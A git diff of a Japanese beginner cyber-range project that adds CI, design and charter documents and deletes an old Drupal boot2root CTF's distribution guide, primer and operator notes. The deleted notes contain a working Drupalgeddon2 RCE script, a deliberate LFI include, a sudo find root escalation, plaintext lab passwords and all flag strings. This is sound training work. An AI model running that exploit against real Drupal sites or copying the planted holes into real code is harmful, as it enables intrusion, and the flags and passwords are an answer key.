diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml new file mode 100644 index 0000000..190ab9c --- /dev/null +++ b/.github/workflows/test.yml @@ -0,0 +1,80 @@ +name: Test + +on: + pull_request: + push: + branches: + - "**" + workflow_call: + +permissions: + contents: read + +jobs: + checks: + name: Static and unit checks + runs-on: ubuntu-24.04 + timeout-minutes: 15 + + steps: + - name: Check out source + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + + - name: Set up Node + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + with: + node-version: 22 + cache: npm + cache-dependency-path: apps/lab-guide/package-lock.json + + - name: Set up Python + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 + with: + python-version: "3.13" + + - name: Install guide dependencies + run: npm ci --prefix apps/lab-guide + + - name: Run repository checks + run: npm run check + + - name: Check Bash syntax + shell: bash + run: | + set -Eeuo pipefail + checked=0 + while IFS= read -r -d '' file; do + if head -n 1 "${file}" | grep -Eq '^#!.*(/|env )(ba)?sh([[:space:]]|$)'; then + bash -n "${file}" + checked=$((checked + 1)) + fi + done < <(find labs/open-world-target -type f -print0) + ((checked > 0)) + printf 'Checked %d shell scripts.\n' "${checked}" + + - name: Check PHP syntax + shell: bash + run: | + set -Eeuo pipefail + command -v php >/dev/null + checked=0 + while IFS= read -r -d '' file; do + php -l "${file}" + checked=$((checked + 1)) + done < <(find labs/open-world-target -type f -name '*.php' -print0) + ((checked > 0)) + printf 'Checked %d PHP files.\n' "${checked}" + + - name: Check C fixture syntax + shell: bash + run: | + set -Eeuo pipefail + checked=0 + while IFS= read -r -d '' file; do + cc -Wall -Wextra -Werror -fsyntax-only "${file}" + checked=$((checked + 1)) + done < <(find labs/open-world-target -type f -name '*.c' -print0) + ((checked > 0)) + printf 'Checked %d C files.\n' "${checked}" diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..aa38a26 --- /dev/null +++ b/.gitignore @@ -0,0 +1,9 @@ +node_modules/ +dist/ +coverage/ +*.log +.DS_Store +__pycache__/ +*.py[cod] +.pytest_cache/ +.mypy_cache/ diff --git a/DESIGN.md b/DESIGN.md new file mode 100644 index 0000000..c96aabf --- /dev/null +++ b/DESIGN.md @@ -0,0 +1,180 @@ +--- +version: "2.0" +name: "ExamServer Open World — Playable Operations Board" +description: "Three authored visual modes for a beginner cyber range, bound by one learning hierarchy." +colors: + primary: "#007F90" + primary-hover: "#006470" + canvas: "#F1EEE5" + surface: "#FFFDF5" + surface-muted: "#E8E3D8" + text: "#151410" + text-muted: "#625F56" + border: "#171611" + success: "#087B6F" + warning: "#E1A800" + danger: "#DD3F3F" +typography: + display: + fontFamily: "Noto Sans JP" + fontSize: "2rem" + fontWeight: 850 + lineHeight: "1.25" + letterSpacing: "-0.03em" + body: + fontFamily: "Noto Sans JP" + fontSize: "1rem" + fontWeight: 400 + lineHeight: "1.75" + letterSpacing: "0px" + label: + fontFamily: "Noto Sans JP" + fontSize: "0.875rem" + fontWeight: 700 + lineHeight: "1.45" + letterSpacing: "0px" + mono: + fontFamily: "Geist Mono" + fontSize: "0.8125rem" + fontWeight: 600 + lineHeight: "1.4" +rounded: + sm: "2px" + md: "4px" + lg: "6px" +spacing: + xs: "0.5rem" + sm: "0.75rem" + md: "1rem" + lg: "1.5rem" + xl: "2rem" +components: + button-primary: + backgroundColor: "{colors.primary}" + textColor: "#FFFFFF" + rounded: "{rounded.sm}" + height: "44px" + button-secondary: + backgroundColor: "{colors.surface}" + textColor: "{colors.text}" + rounded: "{rounded.sm}" + height: "44px" +--- + +# ExamServer Open World Design Contract + +## Design thesis + +このサイトは「説明を読む教材」ではなく、攻撃経路を自分で切り開くプレイアブルな作戦盤である。良い見た目の条件は装飾量ではない。2秒で現在地が分かり、10秒で次の仮説を比較でき、選んだ行動と発見の因果が記憶に残ることを品質基準とする。 + +認知負荷はユーザーが求めた時だけ上げる。初期画面には現在の状況、現在の目標、次の主要操作だけを残し、補助情報は名称と件数が分かる「ラベル付きの引き手」として待機させる。引き手を操作した時だけ一枚のdrawerを開き、別の引き手を操作したら中身を入れ替える。 + +三つの見た目は配色プリセットではない。情報の意味、操作、状態を共有しながら、異なる構図・書体・境界・動きで同じ世界を演出する。 + +## Visual targets + +- `docs/design/themes/play-mission-deck.png` — PLAY / Mission Deck +- `docs/design/themes/ops-night-circuit.png` — OPS / Night Circuit +- `docs/design/themes/focus-field-notes.png` — FOCUS / Field Notes +- 旧 `docs/design/exploration-map.png` と `docs/design/situation-consultation.png` は情報構造の参考であり、色・密度・雰囲気の正本ではない。 + +生成画像内のサンプル文言、数値、誤字、架空の機能は仕様ではない。実装は実データ、既存の安全境界、アクセシビリティを優先する。 + +## What “award-quality” means here + +### 1. One memorable idea + +主役は常に一本の攻撃経路である。地図、事実、次の選択、最近の発見が一つの因果へ収束し、KPIカードの寄せ集めにはしない。 + +### 2. Hierarchy before decoration + +- 常時表示: 画面名、現在の目標、世界/仮説、次の主要操作 +- 引き手: ライブ接続、確定した事実、次の調査/ヒント、最近の発見、見た目 +- 開いた時: 選択した一種類だけをdrawerへ表示する +- 緊急表示: 接続断や更新失敗だけは現在の作業を失わせず主画面へ通知する + +見出し、選択地点、主ボタンだけが最強のコントラストを持つ。補助文、時刻、接続状態は一段静かにする。件数は「中に何があるか」を予告するために使い、進捗カードやKPI列にはしない。 + +### 3. Typography is the interface + +- PLAY: `Noto Sans JP` の太い見出し。短く、勢いがあり、読み間違えない。 +- OPS: `Noto Sans JP` と `Geist Mono`。日本語本文をコード風に崩さず、状態と時刻だけをmonoにする。 +- FOCUS: `Noto Serif JP` の見出しと `Noto Sans JP` の本文。余白と行間で読む順を作る。 +- 画像化された文字、極小文字、装飾だけの英語を主要情報に使わない。 + +### 4. Geometry carries state + +発見済み、選択中、未発見は色だけで区別しない。実線/強調枠/破線、icon、label、focus ringを必ず併用する。未発見名や答えをDOMへ先出ししない。 + +### 5. Motion confirms cause + +- 150–220ms、`cubic-bezier(0.16, 1, 0.3, 1)` を基本にする。 +- hoverは2–3px以内の移動、選択はborderとshadowの変化、経路は控えめなdash移動まで。 +- 常時点滅、無目的なparallax、スクロールジャック、Matrix rainを使わない。 +- `prefers-reduced-motion` では即時表示にする。 + +### 6. Empty space is functional + +余白は「未実装」を隠すためでなく、事実・地図・選択の境界を明確にするために使う。画面を同寸カードで埋めず、中央の経路へ最大の面積を渡す。 + +## Three authored modes + +### PLAY / Mission Deck + +ポップゲーム。黒いインク、温かい紙、electric cyan、acid yellow、coralで、クエスト盤の触感を作る。太い境界、ハードシャドウ、mission番号、選択地点の黒いbriefを使う。成人向けのグラフィックデザインであり、mascot、emoji、子供向けtoy表現、意味のない報酬演出は使わない。初回既定値はPLAY。 + +### OPS / Night Circuit + +ハッカー風。midnight、phosphor mint、amber、ultravioletでライブ運用面を作る。細いgrid、mono metadata、発光を抑えたroute trace、角の小さいsurfaceを使う。green-code壁紙、Matrix rain、skull、過剰なneon、読みにくい全mono本文は使わない。 + +### FOCUS / Field Notes + +シンプル。warm white、黒いink、signal vermilion、quiet cobaltで編集されたフィールドノートを作る。罫線、非対称の余白、明確な文字組みを使い、surface chromeを最小化する。単なるbeige SaaS、巨大な空白、情報を隠すミニマリズムにはしない。 + +## Shared interaction contract + +- Headerの `見た目 PLAY / OPS / FOCUS` という一つの引き手からテーマを即時切替できる。三択を初期表示しない。 +- 選択は `aria-pressed` で伝え、44px相当の操作面と明確なfocus ringを持つ。 +- 選択テーマはversion付きlocalStorageへ保存する。保存不能でもPLAYで継続する。 +- テーマ切替で画面、地図選択、仮説、ヒント、セッション状態を初期化しない。 +- 色テーマと公開ガイドはローカルbundleだけで動く。ライブ教材イベントは同一originのクラウドAPIから受け、外部fontや第三者UI SDKは要求しない。 +- 補助情報のdrawerは同時に一枚だけ開く。`Escape` と背景操作で閉じ、閉じた後は元の引き手へfocusを戻す。 +- drawer内へkeyboard focusを閉じ込め、見えていない補助情報をtab順へ残さない。 +- 新しい教材イベントを受けてもdrawerを勝手に開かない。引き手の件数と主画面の目標だけを更新する。 + +## State language + +- Browse: 接続エラーにせず、世界観、遊び方、必要機材、安全境界と接続入口を表示する。 +- Waiting: ペアリング済みだがBridge未到着。何を待っているかと再接続方法を示す。 +- Loading: 最後の確定状態を残し、更新中と書く。 +- Empty: 有線接続と入口確認だけを示す。 +- Live: 新しい教材イベントで、地図の経路、現在目標、引き手の件数を更新する。開いているdrawerが該当する場合だけ中身も更新し、閉じている補助情報を勝手に展開しない。 +- Reconnecting: 操作を失わせず、自動再接続と手動再読込を出す。 +- Selected: border、icon、label、地点briefの4点で示す。 +- Locked hint: 開放条件を日常語で示す。 +- Success: rootまでの一本の経路と権限変化の振り返りを主役にする。 +- Telemetry unavailable: 自動検出不能を明示する。flag手動提出は標的直結のローカル表示だけに出し、クラウド表示には出さない。 + +## Live transition contract + +- 新しい事実では、まずイベント列へ追加し、続いて対応ノードと経路、最後に目標と選択肢を150-220msで更新する。 +- ページ全体を再読込せず、現在の画面、選択地点、開いたヒント、テーマを維持する。 +- 複数イベントを受けてもrevision順だけを採用し、古いsnapshotで画面を巻き戻さない。 +- `prefers-reduced-motion`では同じ情報を即時更新し、色だけに頼らずラベルと形状も変える。 +- BrowseからLiveへの切替は同じ世界へ接続したと理解できる連続した遷移にし、別アプリへ飛んだ印象を作らない。 + +## Responsive contract + +- 主基準: 1366×768。検証: 1672×941、1280×720、360×800。 +- 900px未満でも初期画面へ補助情報を縦積みしない。引き手は横方向に短く並べ、選んだ情報だけをbottom sheetとして表示する。 +- 狭いheaderでは現在テーマだけを残し、三択は `見た目` の引き手を開いた後に表示する。 +- 横スクロール、sticky headerによるfocus隠れ、44px未満の主要操作を許さない。 + +## Rejected directions + +- generic dashboard、KPI、ranking、streak、trophy、card soup +- 事実、行動、履歴、接続、設定をすべて常時表示するcontrol-room layout +- glassmorphism、巨大な角丸container、無意味なgradient +- fake terminal、code rain、stock hacker photography +- chat人格、自由文AI prompt、仮説より先に完全commandを見せること +- runtimeで生成画像を背景として読み込み、offline bundleを重くすること diff --git a/DISTRIBUTION.md b/DISTRIBUTION.md deleted file mode 100644 index 9701a67..0000000 --- a/DISTRIBUTION.md +++ /dev/null @@ -1,191 +0,0 @@ -# DISTRIBUTION — 出題者用 配布手順 - -> このドキュメントは **VM作成者(出題者)** が読むためのものです。 - -## 概要 - -完成した CTF VM を OVA としてエクスポートし、チームに配布するまでの流れ。 - -``` -[VM内cleanup] → [シャットダウン] → [ディスク圧縮] → [OVAエクスポート] → -[追加圧縮] → [配布] -``` - -## ステップ0: VMクローン作成(強く推奨) - -cleanup スクリプトは Firefox 履歴や Documents なども消します。**自分のVMをそのまま配布用に潰すと自分のデータが失われる**ので、クローンを作ってから作業しましょう。 - -VirtualBox GUI で対象VM を右クリック: -1. **クローン作成** -2. 名前: `yamamoto-mfg-ctf-distribution` -3. クローンタイプ: **完全クローン** -4. MAC ポリシー: **すべての MAC アドレスを再生成** -5. 実行(数分) - -以降、**クローンの方** でステップ1〜進める。オリジナルは手を付けない。 - -## ステップ1: VM内クリーンアップ - -クローンVMを起動して、ターミナルから: - -```bash -sudo bash /root/cleanup-before-distribution.sh -``` - -これで以下が実行される: -- 構築時に追加した`user`の sudo 権限を削除 -- `user`アカウントのパスワードロック -- `/home/user/` の個人データ削除 (Claude, codex, npm, **Firefox プロフィール**, **Documents/Downloads/Desktop の中身** 等) -- `/root/` の構築用ツール削除 -- `/tmp/` セットアップ痕跡削除 -- ブラウザキャッシュ全削除 -- ログ削除 / shell history クリア - -## ステップ2: ディスクを圧縮できる状態にする - -OVA を小さくするコツは「未使用領域をゼロ埋めする」こと。 - -```bash -# VM内で: -sudo dd if=/dev/zero of=/zerofile bs=1M status=progress -sudo rm /zerofile -sync -``` - -ディスクが満杯になるエラーが出るのは正常 (それが目的)。 - -## ステップ3: シャットダウン - -```bash -sudo shutdown -h now -``` - -## ステップ4: VirtualBox でディスクをコンパクト化 - -ホストOS (VirtualBox がある側) のターミナルで: - -```bash -# Linux/Mac -VBoxManage modifyhd --compact - -# Windows -"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifyhd "" --compact -``` - -ディスクパスは `~/VirtualBox VMs//.vdi` あたり。 - -## ステップ5: OVA エクスポート - -VirtualBox メニュー: -**ファイル → 仮想アプライアンスのエクスポート** - -設定: -- ファイル名: `yamamoto-mfg-ctf.ova` -- フォーマット: **OVF 1.0** または **OVA 2.0** (OVA推奨) -- 「すべてのネットワークアダプタ MAC アドレスを書き出す」: **チェック外す** -- 「ISOイメージを含める」: **チェック外す** - -エクスポート実行。完成サイズは概ね **2〜4 GB** の範囲。 - -## ステップ6: 追加圧縮(任意) - -OVAをさらに小さくしたい場合: - -```bash -xz -9 -T0 yamamoto-mfg-ctf.ova -# → yamamoto-mfg-ctf.ova.xz (大体30%縮む) -``` - -または: -```bash -7z a -mx=9 yamamoto-mfg-ctf.7z yamamoto-mfg-ctf.ova -``` - -## ステップ7: 配布 - -### Option A: GitHub Releases (推奨・2GB以下なら) - -```bash -# gh CLI がログイン済みの状態で: -gh release create v1.0 \ - --repo skjshr/tgtsec \ - --title "Yamamoto Mfg. CTF v1.0" \ - --notes "Initial release. See README.md for setup." \ - yamamoto-mfg-ctf.ova -``` - -Webブラウザでも可能: -1. https://github.com/skjshr/tgtsec/releases/new -2. Tag: `v1.0` -3. Title: `Yamamoto Mfg. CTF v1.0` -4. ファイルをドラッグ&ドロップ -5. **Publish release** - -ファイルサイズ上限は **2GB/file**(無償アカウントでも)。 - -### Option B: 外部ストレージ (2GB超なら) - -候補: -- **Google Drive** (15GB無償) -- **Mega.nz** (20GB無償) -- **Dropbox** (2GB無償) -- **WeTransfer** (2GB、7日間) -- **filebin.net** (匿名・期限付き) - -リンクを README に追記して push。 - -### Option C: Git LFS (お勧めしない) - -技術的には可能だが、無償枠の帯域(月1GB)を超えると課金されたりリンク切れたり面倒。Releases の方が無難。 - -## ステップ8: README にダウンロードリンク追記 - -GitHubの README に以下のような行を追加: - -```markdown -## ダウンロード - -最新版OVA: [Releases ページ](https://github.com/skjshr/tgtsec/releases) からダウンロード。 -SHA256: <ハッシュ値> -``` - -ハッシュは: -```bash -sha256sum yamamoto-mfg-ctf.ova -``` - -## ステップ9: チームに通知 - -リポジトリのリンク + Releases のリンクをSlack/Discord/メール等で共有。 - -``` -山本製作所 CTF 配布開始! - -📁 セットアップ手順 + ヒント: https://github.com/skjshr/tgtsec -📦 VMダウンロード: https://github.com/skjshr/tgtsec/releases/latest - - - 形式: Boot2Root - - 想定時間: 2-4時間 - - フラグ3個 (TSHL{...}) - -がんばって! -``` - -## アップデート手順 (バグ修正があった場合) - -1. VMを修正 -2. cleanup → shutdown → compact → export を再実行 -3. `gh release create v1.1 ...` で新Release -4. README更新が必要なら push - -## チェックリスト(配布前最終確認) - -- [ ] `sudo bash /root/cleanup-before-distribution.sh` 実行済み -- [ ] /home/user/.claude などの個人データ全削除 -- [ ] フラグ3個が正しく配置されている (`/var/www/.flag1.txt`, `/home/yamamoto/user.txt`, `/root/root.txt`) -- [ ] Drupalgeddon2 PoC が動作する(自分でend-to-end走らせて確認) -- [ ] sudo find privesc が動作する -- [ ] ネットワーク設定がまずデフォで NAT または Host-Only(プレイヤーが設定変える) -- [ ] OVA エクスポートが正常完了 -- [ ] SHA256 ハッシュ計算済み -- [ ] Release 作成済み or 外部リンク準備済み diff --git a/OPERATOR-NOTES.md b/OPERATOR-NOTES.md deleted file mode 100644 index 924bd47..0000000 --- a/OPERATOR-NOTES.md +++ /dev/null @@ -1,226 +0,0 @@ -# OPERATOR-NOTES — 出題者専用 機密ノート - -> ⚠️ **このファイルは絶対に公開しないこと** -> -> - リポジトリ `skjshr/tgtsec` は **private** 前提 -> - **public** に切り替える際は、このファイルを **削除 + git履歴書き換え** -> ```bash -> git filter-repo --path OPERATOR-NOTES.md --invert-paths -> ``` -> または別リポジトリに分離 -> - もし誤って公開してしまったら、**全パスワード即変更 + 全フラグ再生成** - ---- - -## 1. 認証情報・フラグ(完全版) - -### Linux アカウント - -| ユーザー | パスワード | 用途 | -|---------|----------|------| -| `root` | `admin` | VM起動時のroot(初期インストール時設定) | -| `user` | (元々の起動時パスワード) | VM owner — 配布前に cleanup でロック | -| `yamamoto` | `Sakura@2011` | CTF意図のターゲットユーザー | - -### Drupal - -| 項目 | 値 | -|-----|---| -| 管理ユーザー名 | `yamamoto` | -| 管理パスワード | `Sakura@2011` (SSHと同じ — 使い回し意図) | -| サイト名 | `Yamamoto Mfg. Blog` | -| 管理メール | `t.yamamoto@yamamoto-mfg.co.jp` | - -### MariaDB - -| 項目 | 値 | -|-----|---| -| root認証 | unix_socket (パスワードなし) | -| DB名 | `yamamoto_blog` | -| DB ユーザー | `drupal` | -| DB パスワード | `Dru9al_S3cret_2011` | - -### フラグ(現行) - -``` -WEB: TSHL{5268d0547c04e6cfa72acf47} /var/www/.flag1.txt -USER: TSHL{a48e406f3b221dbc539b32db} /home/yamamoto/user.txt -ROOT: TSHL{ecd482c813c9323c011ed1b0} /root/root.txt -``` - -VM内では `/root/.ctf-flags-master.txt` に同じ内容を保存。 - ---- - -## 2. 攻撃チェーン(完全) - -``` -[1] nmap → 22/SSH, 80/HTTP -[2] http://target/ で ?page= LFI 発見 -[3] LFI: ?page=/var/www/maintenance.txt → /blog/ + Drupal 7.57 確認 -[4] /blog/CHANGELOG.txt で Drupal 7.57 確定 -[5] CVE-2018-7600 (Drupalgeddon2) で www-data RCE -[6] /var/www/.flag1.txt 取得 → FLAG 1 -[7] /var/backups/yamamoto-personal-notes.txt 読取 → password "Sakura@2011" -[8] ssh yamamoto@target → /home/yamamoto/user.txt → FLAG 2 -[9] sudo -l → /usr/bin/find が NOPASSWD -[10] sudo find . -exec /bin/sh \; -quit → root シェル -[11] /root/root.txt → FLAG 3 -``` - -### Drupalgeddon2 PoC (動作確認済み) - -```python -import requests, re, sys -target = "http:///blog/" -cmd = sys.argv[1] if len(sys.argv) > 1 else "id" - -r = requests.post( - target + "?q=user/password&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=" + cmd, - data={"form_id": "user_pass", "_triggering_element_name": "name"} -) -fbid = re.search(r'name="form_build_id" value="([^"]+)"', r.text).group(1) -r2 = requests.post(target + f"?q=file/ajax/name/%23value/{fbid}", data={"form_build_id": fbid}) -print(r2.text.split('[{"command"')[0]) -``` - ---- - -## 3. 構築アーキテクチャ(復旧用) - -### OS -- Debian 13 (trixie) — VirtualBox VM -- ホスト名: `yamamoto-web01` -- 主ディスク: 19GB, 7GB使用 - -### 採用ソフトウェアバージョン - -| ソフト | バージョン | 入手元 | -|-------|----------|--------| -| Apache | 2.4.66 (Debian標準) | apt | -| **PHP** | **7.0.33** | **deb.sury.org (重要)** | -| MariaDB | 11.8.6 (Debian標準) | apt | -| Drupal | **7.57** (脆弱性版) | https://ftp.drupal.org/files/projects/drupal-7.57.tar.gz | - -### PHP 7.0 採用理由 -- Drupal 7.57 は Drupalgeddon2 (CVE-2018-7600) の対象 — 7.58 で修正 -- Drupal 7.57 は PHP 7.4+ で `field_attach_load()` 未定義エラー等の致命的非互換あり -- PHP 7.3 でも同様の問題発生 -- → PHP 7.0.33 (sury repo) でクリーンに動作確認済み - -### sury repo セットアップ手順 -```bash -curl -sSL https://packages.sury.org/php/apt.gpg -o /etc/apt/trusted.gpg.d/sury-php.gpg -echo "deb https://packages.sury.org/php/ trixie main" > /etc/apt/sources.list.d/sury-php.list -apt update -apt install -y libapache2-mod-php7.0 php7.0 php7.0-{cli,common,mysql,gd,xml,mbstring,curl,zip} -a2dismod php7.4 || true -a2enmod php7.0 -systemctl restart apache2 -``` - -### Drupal インストール時の落とし穴 -- インストーラーは多段バッチ処理 (curl で再帰的にmeta refresh URLを叩く必要あり) -- 進捗100%でも `op=finished` URL を踏まないと "Configure site" に遷移しない -- 詳細は本リポジトリの Bash履歴を参照(必要なら別途スクリプト化) - ---- - -## 4. 仕掛けの詳細(再現用) - -### LFI (メインサイト) -**ファイル**: `/var/www/html/index.php` -```php -$page = isset($_GET['page']) ? $_GET['page'] : 'pages/home.php'; -include($page); // ← サニタイズなし -``` -- LFIで `/etc/passwd`, `php://filter`, `/var/www/maintenance.txt` 等読み取り可能 - -### LFI hint file -**ファイル**: `/var/www/maintenance.txt` (mode 644, root所有) -- Drupal 7.57 / `/blog/` パス / SA-CORE-2018-002 への言及あり -- LFI 経由で `?page=/var/www/maintenance.txt` でしか読めない位置(URL直接アクセス不可) - -### password reuse leak file -**ファイル**: `/var/backups/yamamoto-personal-notes.txt` (mode 644, yamamoto所有) -- 平文で `Sakura@2011` 記載 -- WWW-data 権限から読める(www-data → yamamoto pivot 用) - -### sudo 誤設定 -**ファイル**: `/etc/sudoers.d/yamamoto-find` -``` -yamamoto ALL=(ALL) NOPASSWD: /usr/bin/find -``` -- GTFOBins の find sudo技で root 取得可能 - ---- - -## 5. 復旧シナリオ別チェックリスト - -### A) フラグだけ再生成したい -```bash -WEB=$(echo "TSHL{$(openssl rand -hex 12)}") -USER=$(echo "TSHL{$(openssl rand -hex 12)}") -ROOT=$(echo "TSHL{$(openssl rand -hex 12)}") - -# ファイルの中身を上書き(マスター記録も更新) -# 詳細は /root/ にあった元のスクリプト参照 -``` - -### B) パスワードを変えたい -1. `passwd yamamoto` で新パスワード設定 -2. Drupal admin パスワードも合わせる: - ```bash - cd /var/www/html/blog - php scripts/password-hash.sh '<新パスワード>' - # 出てきたハッシュを users テーブルに UPDATE - ``` -3. `/var/backups/yamamoto-personal-notes.txt` の文言を更新 - -### C) ゼロから VM を作り直したい -1. クリーンな Debian 13 VM 用意 -2. 上記「sury repo セットアップ手順」を実行 -3. Drupal 7.57 を tarball 取得 → `/var/www/html/blog/` に展開 -4. MariaDB に DB + ユーザー作成 -5. Drupal インストーラを curl で多段バッチ処理 (面倒) -6. メインサイトの index.php / pages/*.php / header.php / footer.php を配置 -7. `/var/www/maintenance.txt` 配置 -8. yamamoto user 作成 -9. `/var/backups/yamamoto-personal-notes.txt` 配置 -10. sudoers.d/yamamoto-find 配置 -11. 3つのフラグ配置 -12. cosmetic touches (motd, issue.net, hostname) - -→ **将来的に `setup.sh` として全自動スクリプト化を推奨** - ---- - -## 6. 既知の "ゆるさ" / 想定外解法 - -意図された解法以外で root 取れる経路があれば追記。現時点で把握済み: - -- **dir bruteforce で /blog/ 直接発見可能** — LFI 経由でなくても可。これは意図通り(複数経路OK) -- **Drupalgeddon2 はメタスプロイトでも一発** — `exploit/unix/webapp/drupal_drupalgeddon2`。これも想定内 -- **CMS/Drupal hash crack** — yamamoto の Drupal admin hash を `john --format=phpass` でクラック可能(が、`Sakura@2011` は rockyou.txt にないので失敗するはず)。プレイヤーが諦めてプレーンテキスト探しに走るので問題なし - ---- - -## 7. 配布前 cleanup スクリプトの効能・限界 - -`/root/cleanup-before-distribution.sh` がやること: -- `user` の sudo 権限剥奪、パスワードロック、個人データ削除 -- ログtruncate、shell history削除 -- /root/ の構築ツール削除 (.claude, .codex, node_modules) - -やらないこと(意図的に残す): -- `/root/CTF-WRITEUP.md` (root取らないと読めないので残してOK) -- `/root/.ctf-flags-master.txt` (同上) -- `/root/CTF-README.md` -- `/var/backups/yamamoto-personal-notes.txt` (CTFの一部!) - ---- - -## 8. 連絡先 - -このCTFの出題者: takes-security-hacking-lab -リポジトリ管理者: skjshr diff --git a/PRIMER.md b/PRIMER.md deleted file mode 100644 index 8ebd9ea..0000000 --- a/PRIMER.md +++ /dev/null @@ -1,75 +0,0 @@ -# PRIMER — CTF初参加者へ - -> 「CTF って何?どこから手を付ければ?」という人向け。 - -## CTF とは - -**Capture The Flag** の略。脆弱なシステムを合法的に攻撃して、隠された「フラグ」を見つけるゲーム。 - -このCTFは **Boot2Root** 形式 — VM 1台のあらゆる隙を見つけて、最終的に **root 権限** を取るのが目標。途中で3つのフラグ(`TSHL{...}`)を回収します。 - -## 心構え - -1. **手を動かす** — ググるよりまず叩く -2. **記録する** — 試したコマンドと結果をメモ。後で必ず役立つ -3. **詰まったら寝る** — 本当に。意外と次の日に解ける -4. **「これ怪しい」を信じる** — なんか変なURLパラメータ、なんか古いバージョン番号、なんか空のディレクトリ — 全部攻撃対象 - -## やること(ざっくり) - -``` -[偵察] → [脆弱性発見] → [侵入] → [情報収集] → [権限昇格] -``` - -中級初心者向け CTF はだいたいこの流れ。各段階を一つずつ進めましょう。 - -## 必要なツール - -攻撃用VMに **Kali Linux** か **Parrot OS** を使うのが楽(ツールが最初から入っている)。普通のLinux/Macでも全部入れられます。 - -### 最低限これだけは入れる - -| ツール | 用途 | インストール | -|--------|------|------------| -| `nmap` | ポートスキャン・サービス特定 | `apt install nmap` | -| `curl` / `wget` | HTTPリクエスト送信 | 多分すでに入ってる | -| `ssh` | SSHログイン | 多分すでに入ってる | -| `python3` | スクリプト実行・PoC実行 | 多分すでに入ってる | -| `gobuster` or `dirb` | URLディレクトリ列挙 | `apt install gobuster` | - -### あると便利 - -- `Burp Suite Community` — HTTP通信を覗き見・改ざんできる(GUI) -- `searchsploit` — Exploit-DB検索 (`apt install exploitdb`) -- `john` / `hashcat` — パスワードハッシュ解析 -- `git` — Pythonの公開エクスプロイトを clone するため - -## 用語ミニ辞書 - -- **RCE** (Remote Code Execution) — 遠隔から任意のコマンド実行できる脆弱性。最強 -- **LFI** (Local File Inclusion) — Webアプリが任意のローカルファイルを include してしまう -- **CVE** — 脆弱性の通し番号 (`CVE-YYYY-NNNN`)。これで検索すると公開情報がわんさか出る -- **PoC** (Proof of Concept) — 「動く脆弱性デモコード」。GitHub や Exploit-DB に転がってる -- **Privesc** (Privilege Escalation) — 権限昇格。一般ユーザー → root とか -- **GTFOBins** — Linux 標準コマンドを使った権限昇格トリック集 (https://gtfobins.github.io/) -- **www-data** — Linux の Web サーバー実行ユーザー(典型的にRCEで最初に取る権限) - -## 最初の30分(おすすめ流れ) - -```bash -# 1. ターゲットの IP を確認(ホスト側 arp -a, または VMコンソール画面) -TARGET=192.168.X.X - -# 2. ポートスキャン (詳細版) -nmap -p- -sV -sC $TARGET - -# 3. Web サイトを開いて全ページ巡回 -firefox http://$TARGET/ - -# 4. URLパラメータや「変な動き」をメモ - -# 5. ディレクトリ列挙 -gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -``` - -このあたりで**何かが見えるはず**。見えたら次の `WALKTHROUGH-BEGINNER.md` のヒントを段階的に開いてください。 diff --git a/PROJECT_CONSTITUTION.md b/PROJECT_CONSTITUTION.md new file mode 100644 index 0000000..f8522e4 --- /dev/null +++ b/PROJECT_CONSTITUTION.md @@ -0,0 +1,72 @@ +# ExamServer 実践ラボ Constitution + +## Thesis + +IT初心者が、直結したDebian実機を観察し、複数の入口と権限昇格経路から自分で仮説を選び、30〜60分でrootまでの因果を説明できる、再挑戦可能なオープンワールド演習を作る。 + +## Moment of satisfaction + +参加者が探索地図に自分の発見した経路がつながり、「手順をなぞった」のではなく「この状態から自分で次を選んでrootへ届いた」と理解する。 + +## One-sentence spec + +WindowsとのデュアルブートDebianノートをKali実機または隔離Kali VMから直結攻撃し、3つの入口、3つの実機root経路、14個のflagを探索する世界を通常時はExamServerの`/lab`で閲覧でき、演習時はKali Bridgeが許可済み教材イベントだけを`/api/lab`へ送り、探索地図、次の選択、説明を2秒以内に変化させるラボを提供する。 + +## Mechanism + +1. 標的は中古バイク販売・整備チェーン「風切モータース」の一つの業務環境として見せる。 +2. 参加者のWeb到達、共有アクセス、認証、flag参照、権限変化をDebian上で教材イベントとして自動検出する。 +3. Kali BridgeはDebianの公開投影を読み、外向きHTTPSだけでクラウドへ中継する。Debianへインターネット経路を与えない。 +4. 学習サイトは未接続でも公開ブリーフィングを表示し、ペアリング後は発見済み事実だけをライブ投影する。未発見の正解や完全な世界定義をブラウザへ渡さない。 +5. 状況相談は事実から仮説を選ばせ、観察点、道具、操作例の順でヒントを開く。 +6. 初期画面は現在地、現在目標、次の主要操作だけを見せ、接続、事実、調査、履歴、見た目はラベル付きの引き手から一種類ずつ開く。 +7. 3 footholdすべてから3 root経路へ到達でき、別セッションで別ルートを遊べる。 +8. root取得後はDebianを信頼せず、外した信頼済み復旧USBからgolden imageへ戻す。 + +## Architecture grammar + +- `apps/lab-guide` は探索地図、状況相談、セッション投影だけを所有する。 +- `apps/lab-guide/cloud` はペアリング、ライブ投影の永続化、閲覧者向け配信だけを所有する。 +- `labs/open-world-target/world` は架空業務環境、意図的脆弱性、flag配置だけを所有する。 +- `labs/open-world-target/telemetry` は教材イベントの正規化、状態遷移、公開可能な投影だけを所有する。 +- `labs/open-world-target/bridge` はKaliからDebian投影を読み、クラウドへ外向き中継することだけを所有する。 +- `labs/open-world-target/platform` はDebian構築、exercise/maintenance分離、直結ネットワーク、復旧だけを所有する。 +- `labs/open-world-target/operator` は準備、当日運用、復旧判断、実機証跡だけを所有する。 +- ExamServer本体とはコードを直結せず、独立配備したラボを`/lab`と`/api/lab`へreverse proxyする。共有するのはブランドtokens、学習語彙、入口情報、sanitized projectionの境界だけとする。 + +## Non-goals + +- Drupal、DVWA、既存OVA、旧site-takeoverの拡張 +- インターネット、会社LAN、第三者システムへの攻撃 +- ブルートフォース、マルウェア、永続化、回避技術 +- 実在企業、実在人物、実顧客データ、実資格情報の使用 +- Debianまたはブラウザから標的LANを公開するトンネル +- ブラウザからの任意コマンド実行 +- 生コマンド、端末出力、資格情報、flag文字列のクラウド保存 +- root取得後もDebian内のreset処理を信頼すること +- 一つの完全手順だけで全員を完走させること + +## Failure modes + +1. 